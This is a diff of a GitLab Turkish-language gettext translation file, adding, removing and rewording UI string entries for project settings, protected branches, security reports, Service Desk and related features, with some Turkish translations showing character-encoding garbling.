+msgid "ProjectSettings|Enable \"Delete source branch\" option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains."
+msgid "ProjectSettings|Enable merge trains"
msgstr ""
-msgid "ProjectSettings|Enable merged results pipelines."
+msgid "ProjectSettings|Enable merged results pipelines"
msgstr ""
msgid "ProjectSettings|Encourage"
msgstr ""
-msgid "ProjectSettings|Every merge creates a merge commit"
+msgid "ProjectSettings|Every merge creates a merge commit."
msgstr ""
msgid "ProjectSettings|Every project can have its own space to store its Docker images"
@@ -23639,7 +24263,7 @@ msgstr ""
msgid "ProjectSettings|Everyone"
msgstr "Herkes"
-msgid "ProjectSettings|Existing merge requests and protected branches are not affected"
+msgid "ProjectSettings|Existing merge requests and protected branches are not affected."
msgstr ""
msgid "ProjectSettings|Failed to protect the tag"
@@ -23651,7 +24275,7 @@ msgstr ""
msgid "ProjectSettings|Fast-forward merge"
msgstr ""
-msgid "ProjectSettings|Fast-forward merges only"
+msgid "ProjectSettings|Fast-forward merges only."
msgstr ""
msgid "ProjectSettings|Forks"
@@ -23663,10 +24287,10 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
-msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgid "ProjectSettings|Internal"
msgstr ""
-msgid "ProjectSettings|Internal"
+msgid "ProjectSettings|Introduces the risk of merging changes that do not pass the pipeline."
msgstr ""
msgid "ProjectSettings|Issues"
@@ -23699,10 +24323,13 @@ msgstr "Birleştirme seçenekleri"
msgid "ProjectSettings|Merge requests"
msgstr "BirleÅŸtirme istekleri"
+msgid "ProjectSettings|Merge requests approved for merge are queued, and pipelines validate the combined results of the source and target branches before merge. %{link_start}What are merge trains?%{link_end}"
+msgstr ""
+
msgid "ProjectSettings|Merge suggestions"
msgstr "Birleştirme önerileri"
-msgid "ProjectSettings|No merge commits are created"
+msgid "ProjectSettings|No merge commits are created."
msgstr ""
msgid "ProjectSettings|Note: the container registry is always visible when a project is public"
@@ -23726,15 +24353,9 @@ msgstr "Sayfalar"
msgid "ProjectSettings|Pages for project documentation."
msgstr ""
-msgid "ProjectSettings|Pipelines"
-msgstr "İş hatları"
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
-msgid "ProjectSettings|Pipelines need to be configured to enable this feature."
-msgstr ""
-
msgid "ProjectSettings|Private"
msgstr "Özel"
@@ -23765,7 +24386,7 @@ msgstr ""
msgid "ProjectSettings|Security & Compliance for this project"
msgstr ""
-msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
+msgid "ProjectSettings|Set the default behavior of this option in merge requests. Changes to this are also applied to existing merge requests."
msgstr ""
msgid "ProjectSettings|Share code with others outside the project."
@@ -23774,7 +24395,7 @@ msgstr ""
msgid "ProjectSettings|Show default award emojis"
msgstr ""
-msgid "ProjectSettings|Show link to create/view merge request when pushing from the command line"
+msgid "ProjectSettings|Show link to create or view a merge request when pushing from the command line"
msgstr ""
msgid "ProjectSettings|Skipped pipelines are considered successful"
@@ -23795,16 +24416,13 @@ msgstr ""
msgid "ProjectSettings|Submit changes to be merged upstream."
msgstr ""
-msgid "ProjectSettings|The commit message used to apply merge request suggestions"
-msgstr ""
-
-msgid "ProjectSettings|The variables GitLab supports:"
+msgid "ProjectSettings|Supported variables:"
msgstr ""
-msgid "ProjectSettings|These checks must pass before merge requests can be merged"
+msgid "ProjectSettings|The commit message used when applying merge request suggestions. %{link_start}Learn more about suggestions.%{link_end}"
msgstr ""
-msgid "ProjectSettings|This introduces the risk of merging changes that will not pass the pipeline."
+msgid "ProjectSettings|These checks must pass before merge requests can be merged."
msgstr ""
msgid "ProjectSettings|This setting is applied on the server level and can be overridden by an admin."
@@ -23816,12 +24434,15 @@ msgstr ""
msgid "ProjectSettings|This setting will be applied to all projects unless overridden by an admin."
msgstr ""
-msgid "ProjectSettings|This will dictate the commit history when you merge a merge request"
+msgid "ProjectSettings|To enable this feature, configure pipelines. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
msgid "ProjectSettings|Transfer project"
msgstr ""
+msgid "ProjectSettings|Used for every new merge request."
+msgstr ""
+
msgid "ProjectSettings|Users can copy the repository to a new project."
msgstr ""
@@ -23849,10 +24470,10 @@ msgstr ""
msgid "ProjectSettings|What are badges?"
msgstr ""
-msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgid "ProjectSettings|When pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches. %{link_start}How to configure pipelines for merge requests?%{link_end}"
msgstr ""
-msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
+msgid "ProjectSettings|When there is a merge conflict, the user is given the option to rebase."
msgstr ""
msgid "ProjectSettings|Wiki"
@@ -24386,6 +25007,15 @@ msgstr ""
msgid "ProtectedBranch|%{wildcards_link_start}Wildcards%{wildcards_link_end} such as %{code_tag_start}*-stable%{code_tag_end} or %{code_tag_start}production/*%{code_tag_end} are supported."
msgstr ""
+msgid "ProtectedBranch|Allow force push"
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push for all users with push access."
+msgstr ""
+
+msgid "ProtectedBranch|Allow force push:"
+msgstr ""
+
msgid "ProtectedBranch|Allowed to merge"
msgstr ""
@@ -24407,7 +25037,7 @@ msgstr ""
msgid "ProtectedBranch|Code owner approval"
msgstr ""
-msgid "ProtectedBranch|Does not apply to users allowed to push."
+msgid "ProtectedBranch|Does not apply to users allowed to push. Optional sections are not enforced."
msgstr ""
msgid "ProtectedBranch|Protect"
@@ -24428,6 +25058,9 @@ msgstr ""
msgid "ProtectedBranch|There are currently no protected branches, protect a branch with the form above."
msgstr ""
+msgid "ProtectedBranch|Toggle allow force push"
+msgstr ""
+
msgid "ProtectedBranch|Toggle code owner approval"
msgstr ""
@@ -24602,7 +25235,7 @@ msgstr ""
msgid "PushRules|Restrict push operations for this project."
msgstr ""
-msgid "PushRules|Save Push Rules"
+msgid "PushRules|Save push rules"
msgstr ""
msgid "PushRules|Select push rules"
@@ -24791,8 +25424,8 @@ msgstr ""
msgid "Reduce this project’s visibility?"
msgstr ""
-msgid "Reference:"
-msgstr "Referans:"
+msgid "Reference"
+msgstr ""
msgid "References"
msgstr ""
@@ -24954,7 +25587,7 @@ msgstr "Sürümler"
msgid "Releases are based on Git tags and mark specific points in a project's development history. They can contain information about the type of changes and can also deliver binaries, like compiled versions of your software."
msgstr ""
-msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0%{codeEnd}, %{codeStart}v2.0-pre%{codeEnd}."
+msgid "Releases are based on Git tags. We recommend tags that use semantic versioning, for example %{codeStart}v1.0.0%{codeEnd}, %{codeStart}v2.1.0-pre%{codeEnd}."
msgstr ""
msgid "Releases documentation"
@@ -24966,7 +25599,7 @@ msgstr ""
msgid "Release|Something went wrong while creating a new release"
msgstr ""
-msgid "Release|Something went wrong while getting the release details"
+msgid "Release|Something went wrong while getting the release details."
msgstr ""
msgid "Release|Something went wrong while saving the release details"
@@ -24990,6 +25623,9 @@ msgstr ""
msgid "Remove Zoom meeting"
msgstr ""
+msgid "Remove all approvals in a merge request when new commits are pushed to its source branch."
+msgstr ""
+
msgid "Remove all or specific assignee(s)"
msgstr "Tümünü veya özel vekil(ler)i kaldır"
@@ -25038,9 +25674,6 @@ msgstr "Çatal ilişkisini kaldır"
msgid "Remove from batch"
msgstr ""
-msgid "Remove from board"
-msgstr ""
-
msgid "Remove from epic"
msgstr "Epikten kaldır"
@@ -25287,6 +25920,9 @@ msgstr "Kötüye kullanımı yöneticiye bildir"
msgid "Reported %{timeAgo} by %{reportedBy}"
msgstr "%{reportedBy} tarafından %{timeAgo} bildirildi"
+msgid "Reported by"
+msgstr ""
+
msgid "Reported by %{reporter}"
msgstr ""
@@ -25330,8 +25966,8 @@ msgstr ""
msgid "Reports|An error occurred while loading report"
msgstr ""
-msgid "Reports|Class"
-msgstr "Sınıf"
+msgid "Reports|Base report parsing error:"
+msgstr ""
msgid "Reports|Classname"
msgstr ""
@@ -25352,6 +25988,12 @@ msgstr[1] ""
msgid "Reports|Failure"
msgstr ""
+msgid "Reports|Filename"
+msgstr ""
+
+msgid "Reports|Head report parsing error:"
+msgstr ""
+
msgid "Reports|Identifier"
msgstr ""
@@ -25478,6 +26120,9 @@ msgstr ""
msgid "Repository check was triggered."
msgstr ""
+msgid "Repository checks"
+msgstr ""
+
msgid "Repository cleanup"
msgstr ""
@@ -25574,6 +26219,9 @@ msgstr "Profil Ä°stekleri"
msgid "Requests to these domain(s)/address(es) on the local network will be allowed when local requests from hooks and services are not allowed. IP ranges such as 1:0:0:0:0:0:0:0/124 or 127.0.0.0/28 are supported. Domain wildcards are not supported currently. Use comma, semicolon, or newline to separate multiple entries. The allowlist can hold a maximum of 1000 entries. Domains should use IDNA encoding. Ex: example.com, 192.168.1.1, 127.0.0.0/28, xn--itlab-j1a.com."
msgstr ""
+msgid "Require additional authentication for administrative tasks"
+msgstr ""
+
msgid "Require admin approval for new sign-ups"
msgstr ""
@@ -25830,7 +26478,7 @@ msgid "Review requested from %{name}"
msgstr ""
msgid "Review requests for you"
-msgstr ""
+msgstr "Ä°nceleme istekleriniz"
msgid "Review the changes locally"
msgstr ""
@@ -25882,7 +26530,10 @@ msgstr ""
msgid "Revoked project access token %{project_access_token_name}!"
msgstr ""
-msgid "RightSidebar|Issue email: %{copyText}"
+msgid "RightSidebar|Copy email address"
+msgstr ""
+
+msgid "RightSidebar|Issue email"
msgstr ""
msgid "RightSidebar|adding a"
@@ -26026,6 +26677,9 @@ msgstr ""
msgid "Runners|Revision"
msgstr ""
+msgid "Runners|Runner #%{runner_id}"
+msgstr ""
+
msgid "Runners|Shared"
msgstr ""
@@ -26059,9 +26713,6 @@ msgstr ""
msgid "Running"
msgstr "Çalışıyor"
-msgid "Running…"
-msgstr "Çalışıyor…"
-
msgid "Runs a number of housekeeping tasks within the current repository, such as compressing file revisions and removing unreachable objects."
msgstr "Geçerli depoda, dosya düzeltmelerini sıkıştırma ve erişilemeyen nesneleri kaldırma gibi bir dizi temizlik görevi yürütür."
@@ -26158,6 +26809,9 @@ msgstr "Testten önce değişiklikleri kaydet"
msgid "Save comment"
msgstr ""
+msgid "Save deploy freeze"
+msgstr ""
+
msgid "Save password"
msgstr "Åžifreyi kaydet"
@@ -26176,6 +26830,9 @@ msgstr ""
msgid "Saving project."
msgstr ""
+msgid "Scan Policies"
+msgstr ""
+
msgid "Scanner"
msgstr ""
@@ -26200,9 +26857,6 @@ msgstr "Zamanlamalar"
msgid "Schedules to merge this merge request (%{strategy})."
msgstr ""
-msgid "Scheduling"
-msgstr ""
-
msgid "Scheduling Pipelines"
msgstr "İş Hatları Zamanlanıyor"
@@ -26254,6 +26908,9 @@ msgstr ""
msgid "Search an environment spec"
msgstr "Ortam özelliklerini ara"
+msgid "Search assignees"
+msgstr ""
+
msgid "Search authors"
msgstr ""
@@ -26305,6 +26962,9 @@ msgstr ""
msgid "Search forks"
msgstr "Çatalları ara"
+msgid "Search iterations"
+msgstr ""
+
msgid "Search labels"
msgstr ""
@@ -26314,6 +26974,9 @@ msgstr "Birleştirme isteklerini arayın"
msgid "Search milestones"
msgstr "Dönüm noktalarını ara"
+msgid "Search or create tag"
+msgstr ""
+
msgid "Search or filter results..."
msgstr "Ara veya sonuçları filtrele..."
@@ -26339,7 +27002,7 @@ msgid "Search requirements"
msgstr "Gereksinimleri ara"
msgid "Search settings"
-msgstr ""
+msgstr "Ayarlarda ara"
msgid "Search users"
msgstr "Kullanıcıları ara"
@@ -26519,6 +27182,9 @@ msgstr ""
msgid "SecurityApprovals|Requires approval for vulnerabilities of Critical, High, or Unknown severity. %{linkStart}Learn more.%{linkEnd}"
msgstr ""
+msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -26594,13 +27260,19 @@ msgstr ""
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
-msgid "SecurityReports|%{firstProject} and %{secondProject}"
+msgid "SecurityOrchestration|A security policy project can be used enforce policies for a given project, group, or instance. It allows you to speficy security policies that are important to you and enforce them with every commit."
msgstr ""
-msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
+msgid "SecurityOrchestration|Create a policy"
+msgstr ""
+
+msgid "SecurityOrchestration|Security policy project"
+msgstr ""
+
+msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
-msgid "SecurityReports|Add a project to your dashboard"
+msgid "SecurityReports|%{firstProject}, %{secondProject}, and %{rest}"
msgstr ""
msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
@@ -26609,10 +27281,10 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|Add projects to your group"
+msgid "SecurityReports|All"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr ""
msgid "SecurityReports|Change status"
@@ -26627,6 +27299,9 @@ msgstr ""
msgid "SecurityReports|Comment edited on '%{vulnerabilityName}'"
msgstr ""
+msgid "SecurityReports|Configure security testing"
+msgstr ""
+
msgid "SecurityReports|Create Jira issue"
msgstr ""
@@ -26684,16 +27359,28 @@ msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
msgstr ""
-msgid "SecurityReports|Monitor vulnerabilities in your code"
+msgid "SecurityReports|Manage and track vulnerabilities identified in projects within your group. Vulnerabilities in projects are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|Monitored projects"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your project. Vulnerabilities are shown here when security testing is configured."
msgstr ""
-msgid "SecurityReports|More info"
+msgid "SecurityReports|Manage and track vulnerabilities identified in your selected projects. Vulnerabilities for selected projects with security testing configured are shown here."
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in all of your projects"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your group"
+msgstr ""
+
+msgid "SecurityReports|Monitor vulnerabilities in your project"
msgstr ""
-msgid "SecurityReports|More information"
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
+msgid "SecurityReports|More info"
msgstr ""
msgid "SecurityReports|No activity"
@@ -26759,15 +27446,6 @@ msgstr ""
msgid "SecurityReports|Status"
msgstr ""
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Add projects to your group to view their vulnerabilities here."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security findings for projects you wish to monitor. Select \"Edit dashboard\" to add and remove projects."
-msgstr ""
-
-msgid "SecurityReports|The security dashboard displays the latest security report. Use it to find and fix vulnerabilities."
-msgstr ""
-
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -26819,9 +27497,6 @@ msgstr ""
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
-msgid "SecurityReports|While it's rare to have no vulnerabilities, it can happen. In any event, we ask that you double check your settings to make sure you've set up your dashboard correctly."
-msgstr ""
-
msgid "SecurityReports|With issues"
msgstr ""
@@ -26831,9 +27506,6 @@ msgstr ""
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr ""
-msgid "Security|Policies"
-msgstr ""
-
msgid "See GitLab's %{password_policy_guidelines}"
msgstr ""
@@ -26870,6 +27542,9 @@ msgstr "Sayfa Seç"
msgid "Select Stack"
msgstr ""
+msgid "Select a branch"
+msgstr ""
+
msgid "Select a file from the left sidebar to begin editing. Afterwards, you'll be able to commit your changes."
msgstr ""
@@ -26879,8 +27554,8 @@ msgstr "Davet etmek için bir grup seçin"
msgid "Select a label"
msgstr ""
-msgid "Select a namespace to fork the project"
-msgstr "Projeyi çatallamak için bir isim alanı seçin"
+msgid "Select a milestone"
+msgstr ""
msgid "Select a new namespace"
msgstr "Yeni bir isim alanı seçin"
@@ -26909,9 +27584,15 @@ msgstr "Zaman dilimini seçin"
msgid "Select all"
msgstr ""
+msgid "Select an assignee"
+msgstr ""
+
msgid "Select an existing Kubernetes cluster or create a new one."
msgstr ""
+msgid "Select an iteration"
+msgstr ""
+
msgid "Select assignee"
msgstr ""
@@ -26966,9 +27647,6 @@ msgstr "Bölge seçmek için proje seçin"
msgid "Select projects"
msgstr "Projeleri seç"
-msgid "Select required regulatory standard."
-msgstr ""
-
msgid "Select reviewer(s)"
msgstr ""
@@ -27062,6 +27740,9 @@ msgstr ""
msgid "SelfMonitoring|Self monitoring project has been successfully deleted."
msgstr ""
+msgid "Send"
+msgstr ""
+
msgid "Send a single email notification to Owners and Maintainers for new alerts."
msgstr ""
@@ -27200,19 +27881,43 @@ msgstr "Servis Masası"
msgid "Service Desk allows people to create issues in your GitLab instance without their own user account. It provides a unique email address for end users to create issues in a project. Replies can be sent either through the GitLab interface or by email. End users only see threads through email."
msgstr ""
-msgid "Service Desk is enabled but not yet active"
+msgid "Service Templates"
+msgstr "Hizmet Şablonları"
+
+msgid "Service URL"
msgstr ""
-msgid "Service Desk is not enabled"
+msgid "ServiceDesk|Enable Service Desk"
msgstr ""
-msgid "Service Desk is not supported"
+msgid "ServiceDesk|For help setting up the Service Desk for your instance, please contact an administrator."
msgstr ""
-msgid "Service Templates"
-msgstr "Hizmet Şablonları"
+msgid "ServiceDesk|Issues created from Service Desk emails appear here. Each comment becomes part of the email conversation."
+msgstr ""
-msgid "Service URL"
+msgid "ServiceDesk|Issues created from Service Desk emails will appear here. Each comment becomes part of the email conversation."
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is enabled but not yet active"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not enabled"
+msgstr ""
+
+msgid "ServiceDesk|Service Desk is not supported"
+msgstr ""
+
+msgid "ServiceDesk|To activate Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|To enable Service Desk on this instance, an instance administrator must first set up incoming email."
+msgstr ""
+
+msgid "ServiceDesk|Use Service Desk to connect with your users and offer customer support through email right inside GitLab"
+msgstr ""
+
+msgid "ServiceDesk|Your users can send emails to this address:"
msgstr ""
msgid "Session ID"
@@ -27314,6 +28019,9 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
+msgid "Set the number of necessary approvals and define a list of approvers needed for every merge request in a project."
+msgstr ""
+
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -27368,7 +28076,7 @@ msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr "ÅŸifre ayarla"
-msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgid "SetStatusModal|A busy indicator is shown next to your name and avatar."
msgstr ""
msgid "SetStatusModal|Add status emoji"
@@ -27380,6 +28088,9 @@ msgstr ""
msgid "SetStatusModal|Clear status"
msgstr "Durumu temizle"
+msgid "SetStatusModal|Clear status after"
+msgstr ""
+
msgid "SetStatusModal|Edit status"
msgstr "Durumu düzenle"
@@ -27401,6 +28112,9 @@ msgstr ""
msgid "SetStatusModal|What's your status?"
msgstr "Durumunuz nedir?"
+msgid "SetStatusModal|Your status resets on %{date}."
+msgstr ""
+
msgid "Sets %{epic_ref} as parent epic."
msgstr "%{epic_ref} epiğini üst epik olarak ayarlar."
@@ -27606,9 +28320,15 @@ msgstr[1] "%{count} proje gösteriliyor"
msgid "Showing %{limit} of %{total_count} issues. "
msgstr "%{limit} / %{total_count} sorun gösteriliyor. "
+msgid "Showing %{pageSize} of %{total} %{issuableType}"
+msgstr ""
+
msgid "Showing %{pageSize} of %{total} issues"
msgstr "%{pageSize} / %{total} sorun gösteriliyor"
+msgid "Showing all epics"
+msgstr ""
+
msgid "Showing all issues"
msgstr "Tüm sorunlar gösteriliyor"
@@ -27627,6 +28347,9 @@ msgstr ""
msgid "Side-by-side"
msgstr ""
+msgid "Sidebar|%{name}: %{value}"
+msgstr ""
+
msgid "Sidebar|Assign health status"
msgstr "Sağlık durumu ata"
@@ -27867,6 +28590,9 @@ msgstr ""
msgid "Someone edited this merge request at the same time you did. Please refresh the page to see changes."
msgstr ""
+msgid "Someone edited this test case at the same time you did. The description has been updated and you will need to make your changes again."
+msgstr ""
+
msgid "Something went wrong"
msgstr ""
@@ -28285,10 +29011,10 @@ msgid "SourcegraphPreferences|This feature is experimental."
msgstr "Bu özellik deneyseldir."
msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
-msgstr ""
+msgstr "%{linkStart}Sourcegraph.com%{linkEnd} kullanılır."
msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
-msgstr ""
+msgstr "Özel bir %{linkStart}Sourcegraph örneği%{linkEnd} kullanılır."
msgid "Spam Logs"
msgstr "Spam Günlükleri"
@@ -28545,13 +29271,13 @@ msgstr "Durum:"
msgid "Status: %{title}"
msgstr ""
-msgid "StatusPage|AWS Secret access key"
+msgid "StatusPage|AWS %{docsLink}"
msgstr ""
-msgid "StatusPage|AWS access key ID"
+msgid "StatusPage|AWS Secret access key"
msgstr ""
-msgid "StatusPage|AWS documentation"
+msgid "StatusPage|AWS access key ID"
msgstr ""
msgid "StatusPage|AWS region"
@@ -28566,9 +29292,6 @@ msgstr ""
msgid "StatusPage|Configure file storage settings to link issues in this project to an external status page."
msgstr ""
-msgid "StatusPage|For help with configuration, visit %{docsLink}"
-msgstr ""
-
msgid "StatusPage|S3 Bucket name"
msgstr ""
@@ -28581,7 +29304,7 @@ msgstr ""
msgid "StatusPage|Status page frontend documentation"
msgstr ""
-msgid "StatusPage|To publish incidents to an external status page, GitLab will store a JSON file in your Amazon S3 account in a location accessible to your external status page service. Make sure to also set up %{docsLink}"
+msgid "StatusPage|To publish incidents to an external status page, GitLab stores a JSON file in your Amazon S3 account at a location that your external status page service can access. Make sure to also set up %{docsLink}"
msgstr ""
msgid "StatusPage|configuration documentation"
@@ -28671,9 +29394,6 @@ msgstr ""
msgid "Submit"
msgstr ""
-msgid "Submit %{humanized_resource_name}"
-msgstr ""
-
msgid "Submit a review"
msgstr ""
@@ -28689,9 +29409,6 @@ msgstr ""
msgid "Submit feedback"
msgstr "Geri bildirim gönder"
-msgid "Submit issue"
-msgstr ""
-
msgid "Submit review"
msgstr "İnceleme gönder"
@@ -28749,9 +29466,6 @@ msgstr ""
msgid "SubscriptionTable|Add seats"
msgstr ""
-msgid "SubscriptionTable|An error occurred while loading billable members list"
-msgstr ""
-
msgid "SubscriptionTable|An error occurred while loading the subscription details."
msgstr ""
@@ -29377,6 +30091,11 @@ msgstr ""
msgid "Test coverage parsing"
msgstr ""
+msgid "Test coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Test coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Test coverage: %d hit"
msgid_plural "Test coverage: %d hits"
msgstr[0] ""
@@ -29534,9 +30253,6 @@ msgstr[1] ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
-msgstr ""
-
msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
msgstr ""
@@ -29609,6 +30325,9 @@ msgstr ""
msgid "The current user is not authorized to access the job log."
msgstr ""
+msgid "The data in this pipeline is too old to be rendered as a graph. Please check the Jobs tab to access historical data."
+msgstr ""
+
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
@@ -29636,6 +30355,9 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
+msgid "The environment tier must be one of %{environment_tiers}."
+msgstr ""
+
msgid "The errors we encountered were:"
msgstr ""
@@ -29648,6 +30370,9 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The finding is not a vulnerability because it is part of a test or is test data."
+msgstr ""
+
msgid "The following %{user} can also merge into this branch: %{branch}"
msgstr ""
@@ -29710,6 +30435,9 @@ msgstr ""
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
+msgid "The interval must be one of %{intervals}."
+msgstr ""
+
msgid "The invitation could not be accepted."
msgstr ""
@@ -29770,6 +30498,9 @@ msgstr ""
msgid "The merge request can now be merged."
msgstr "Birleştirme isteği artık birleştirilebilir."
+msgid "The metric must be one of %{metrics}."
+msgstr ""
+
msgid "The name \"%{name}\" is already taken in this directory."
msgstr ""
@@ -29842,6 +30573,9 @@ msgstr ""
msgid "The regular expression used to find test coverage output in the job log. For example, use %{regex} for Simplecov (Ruby). Leave blank to disable."
msgstr ""
+msgid "The remote mirror URL is invalid."
+msgstr ""
+
msgid "The remote mirror took to long to complete."
msgstr ""
@@ -29893,6 +30627,9 @@ msgstr ""
msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
msgstr ""
+msgid "The start date must be ealier than the end date."
+msgstr ""
+
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
@@ -29941,6 +30678,12 @@ msgstr ""
msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
msgstr ""
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be an acceptable business risk."
+msgstr ""
+
+msgid "The vulnerability is known, and has not been remediated or mitigated, but is considered to be in a part of the application that will not be updated."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -29968,6 +30711,9 @@ msgstr ""
msgid "There are no SSH keys with access to your account."
msgstr ""
+msgid "There are no abuse reports!"
+msgstr ""
+
msgid "There are no archived projects yet"
msgstr "Henüz arşivlenmiş proje yok"
@@ -30001,9 +30747,6 @@ msgstr ""
msgid "There are no issues to show"
msgstr "Gösterilecek bir sorun yok"
-msgid "There are no issues to show."
-msgstr ""
-
msgid "There are no issues with the selected labels"
msgstr ""
@@ -30247,6 +30990,9 @@ msgstr ""
msgid "There was an error when subscribing to this label."
msgstr ""
+msgid "There was an error when trying to sync your license. Please verify that your instance is using an active license key."
+msgstr ""
+
msgid "There was an error when unsubscribing from this label."
msgstr ""
@@ -30385,7 +31131,7 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
-msgid "This comment has changed since you started editing, please review the %{startTag}updated comment%{endTag} to ensure information is not lost."
+msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
@@ -30469,6 +31215,9 @@ msgstr ""
msgid "This group"
msgstr "Bu grup"
+msgid "This group can't be removed because it is linked to a subscription. To remove this group, %{linkStart}link the subscription%{linkEnd} with a different group."
+msgstr ""
+
msgid "This group cannot be invited to a project inside a group with enforced SSO"
msgstr ""
@@ -30478,6 +31227,9 @@ msgstr ""
msgid "This group has been scheduled for permanent removal on %{date}"
msgstr ""
+msgid "This group is linked to a subscription"
+msgstr ""
+
msgid "This group, including all subgroups, projects and git repositories, will be reachable from only the specified IP address ranges."
msgstr ""
@@ -30490,6 +31242,9 @@ msgstr ""
msgid "This is a \"Ghost User\", created to hold all issues authored by users that have since been deleted. This user cannot be removed."
msgstr ""
+msgid "This is a Jira user."
+msgstr ""
+
msgid "This is a Premium feature"
msgstr ""
@@ -30796,9 +31551,6 @@ msgstr "Bu, proje ile %{fork_source} arasındaki çatal ilişkisini kaldıracakt
msgid "This will remove the fork relationship between this project and other projects in the fork network."
msgstr ""
-msgid "Those emails automatically become issues (with the comments becoming the email conversation) listed here."
-msgstr ""
-
msgid "Thread to reply to cannot be found"
msgstr ""
@@ -30895,9 +31647,6 @@ msgstr ""
msgid "ThreatMonitoring|The firewall is not installed or has been disabled. To view this data, ensure the web application firewall is installed and enabled for your cluster."
msgstr ""
-msgid "ThreatMonitoring|The graph below is an overview of traffic coming to your application as tracked by the Web Application Firewall (WAF). View the docs for instructions on how to access the WAF logs to see what type of malicious traffic is trying to access your app. The docs link is also accessible by clicking the \"?\" icon next to the title below."
-msgstr ""
-
msgid "ThreatMonitoring|There was an error displaying the alerts. Confirm your endpoint's configuration details to ensure alerts appear."
msgstr ""
@@ -31196,6 +31945,15 @@ msgstr "Yapılacaklar"
msgid "To GitLab"
msgstr ""
+msgid "To accept this invitation, create an account or sign in."
+msgstr ""
+
+msgid "To accept this invitation, sign in or create an account."
+msgstr ""
+
+msgid "To accept this invitation, sign in."
+msgstr ""
+
msgid "To access this domain create a new DNS record"
msgstr ""
@@ -31238,9 +31996,6 @@ msgstr ""
msgid "To get started, click the link below to confirm your account."
msgstr ""
-msgid "To get started, link this page to your Jaeger server, or find out how to %{link_start_tag}install Jaeger%{link_end_tag}"
-msgstr ""
-
msgid "To get started, please enter your Gitea Host URL and a %{link_to_personal_token}."
msgstr ""
@@ -31268,7 +32023,7 @@ msgstr ""
msgid "To only use CI/CD features for an external repository, choose %{strong_open}CI/CD for external repo%{strong_close}."
msgstr ""
-msgid "To open Jaeger and easily view tracing from GitLab, link the %{link} page to your server"
+msgid "To open Jaeger from GitLab to view tracing from the %{link} page, add a URL to your Jaeger server."
msgstr ""
